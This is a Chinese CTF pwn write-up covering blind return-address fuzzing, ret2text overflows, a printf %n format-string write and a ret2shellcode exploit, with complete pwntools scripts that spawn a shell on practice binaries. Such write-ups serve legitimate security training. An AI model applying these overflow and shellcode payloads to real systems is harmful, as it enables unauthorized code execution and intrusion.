【Pwn】wp
一、只给端口
1.只给端口1
链接之后发现什么都没有,ls查看根目录,发现flag文件,cat flag找到flag
2.warmup
人家既然啥都没给,那就是用盲打的方式来拿到 flag。
nc 连接上后可以发现有个输入点,并且还给了我们一个十六进制数,看起来是个地址

猜测 0x40060d 这个地址是个函数,运行这个函数可以直接拿到 flag,那我们只需要去不断的填充垃圾数据,然后在后面加个给的地址(也可能是不加,分情况讨论),不断尝试,直到把这个地址填充到返回地址的位置。
根据这些我们可以先将 fuzz 函数写出来,分三种情况(不用他给的地址,用 p32 发送,用 p64 发送)
payload:
from pwn import *
addr = 0x40060d
def fuzz(p,num,k): #创建一个名为fuzz的函数,p为nc连接的那个变量,num为填充垃圾数据的个数,k为讨论的三种情况
payload = num * 'A'
if k == 1:
payload = payload + p64(addr)
if k == 2:
payload = payload + p32(addr)
p.recvuntil('>') #等待服务器返回'>'后再执行后续操作
p.sendline(payload)
def main():
for num in range(1000):
for k in range(1,3):
try: #若下面的程序抛出异常,则去执行except中的内容(即断开连接),再一次循环
p = remote('x',x)
fuzz(p,num,k)
text = p.recv()
print('text.len='+str(len(text))+'text='+text)
print('num='+str(num)+' k='+str(k))
p.interactive()
except:
p.close()
if __name__ == '__main__':
main()
运行后发现输出text值为-Warn Up-,num值为六十几,text值不是我们想要的flag
修改num值,使其从70开始循环,得到flag

二、ret2text
1、ret2text1
(1)将所给附件改名
(2)查看一下文件的保护机制

发现只启用了NX,可作栈溢出攻击
(3)将文件扔到ida,查看main函数,F5查看伪代码(笔记本fn+esc切换Fn键)

查看sub_400686()函数

在sub_400686()函数中,系统执行cat flag.txt命令得到flag
可知当 dword_60106C == 1853186401 时,执行此函数。
可覆盖 dword_60106C为1853186401达到目的。
查看地址:

可知unk_601068(由read函数输入)与dword_60106C距离为4。
(4)撰写脚本

(5)成功

2、ret2text2
(1)将所给附件改名
(2)查看一下文件的保护机制 checksec pwn1

发现只启用了NX,可作栈溢出攻击
(3)将文件扔到ida,查看main函数,F5查看伪代码(笔记本fn+esc切换Fn键)

查看vulnerable函数

128十六进制为0x80,可作溢出
现在还有两个主要问题:
1.跳转的接口在哪
2.跳转的目的地址在哪
第一个问题:
查看buf字符串

当属于数组的空间结束后(到 0x0000000000000000 时),首先,有一个 s,8 个字节长度,
其次是一个 r,重点就在这,r 中存放着的就是返回地址。即当 read 函数结束后,程序下一
步要到的地方。
我们可以覆盖到这个r来实现我们想要的跳转。
第二个问题:

看到一个奇怪名字的函数,点进去看看

找到了目标~
查看其地址

为0x400596
(4)撰写脚本

(5)成功

三、printf
(1)将所给附件改名
(2)查看一下文件的保护机制 checksec printf,发现未加pie保护
(3)将文件扔到ida,查看main函数,F5查看伪代码(笔记本fn+esc切换Fn键)

发现了printf漏洞
若输入%x,printf函数将会继续向栈的高地址处读取
(4)运行一下

向fgets函数输入一串字符,发现输入的第一串字符“aaaa”被存入了偏移为10的地址处 
(5)思路:我们的目的是令pwnme值为8,可以向fgets函数输入pwnme的地址,利用%n将pwnme地址处的值置为8。
%n:将%n 之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址位置。
如%100×10$n 表示将 0x64 写入偏移 10 处保存的指针所指向的地址(4字节),而$hn 表示写入的地址空间为 2 字节,$hhn 表示写入的地址空间为 1字节,%$lln 表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,直接写 4 字节会导致程序崩溃或等候时间过长,可以通过%$hn 或%$hhn 来适时调整。
%n 是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符
串参数可用于读取信息或配合%n 写数据。
我们可以写为:pwnme+"aaaa“%10$n
这里四个 a 的作用是填充字符数,因为 p32 函数将 pwnme 地址转化成四个字节的小端序字
符,我们希望写入 pwnme 的数字是 8,因此再填充 4 个任意字符。
(5)payload
from pwn import *
p=process('./printf')
p=remote(" "," ")
p.recvuntil("please tell me your name:")
p.sendline("aaa")
p.recvuntil("leave your message please:")
pwnme=p32(0x0804A068) #pwnme 的地址
p.sendline(pwnme+"aaaa%10$n") #将打印出的字符数写入偏移 10 处 esp 指向的地址
#('aaaa' + '%10$n')应该也行
p.interactive()
四、ret2sellcode
1.ret2shellcode
1.检查一下:64位程序,未开启任何保护

2.运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址

3.将文件拖进ida,查看main函数

一开始给了我们参数buf在栈上的地址,然后读入buf。buf只有0x10,但是读入了0x400,明显的溢出漏洞。
4.这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
5.有了shellcode,然后就是shellcode写到哪里的问题
我们将shellcode写到ret之后,再令程序ret时返回到ret后,这样程序在返回的时候就直接去执行我们的shellcode了
那么如何写呢?
(1)我们需要知道buf的地址
(2)我们需要根据buf的地址与buf的大小推测出ret的地址
先解决(1):
我们知道一开始输出了buf参数的地址,接收一下就获得了
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
原理:
c ='What is it : [0x111111111112]'
a = c[-15:-1], 16
print(a)
#输出:('0x111111111112', 16)
再解决(2):0x10是buf的大小,第一个0x8是ebp,第二个是ret
shellcode_addr = buf_addr + 0x10+0x8+0x8
所以:填充'a' * 24到ret,给ret填充shellcode_addr(ret后地址),给ret后填充shellcode
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
完整exp:
from pwn import *
context.arch = 'amd64'
p=remote("x",x)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
shellcode_addr = buf_addr + 32
shellcode = asm(shellcraft.sh())
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()
待补充
浙公网安备 33010602011771号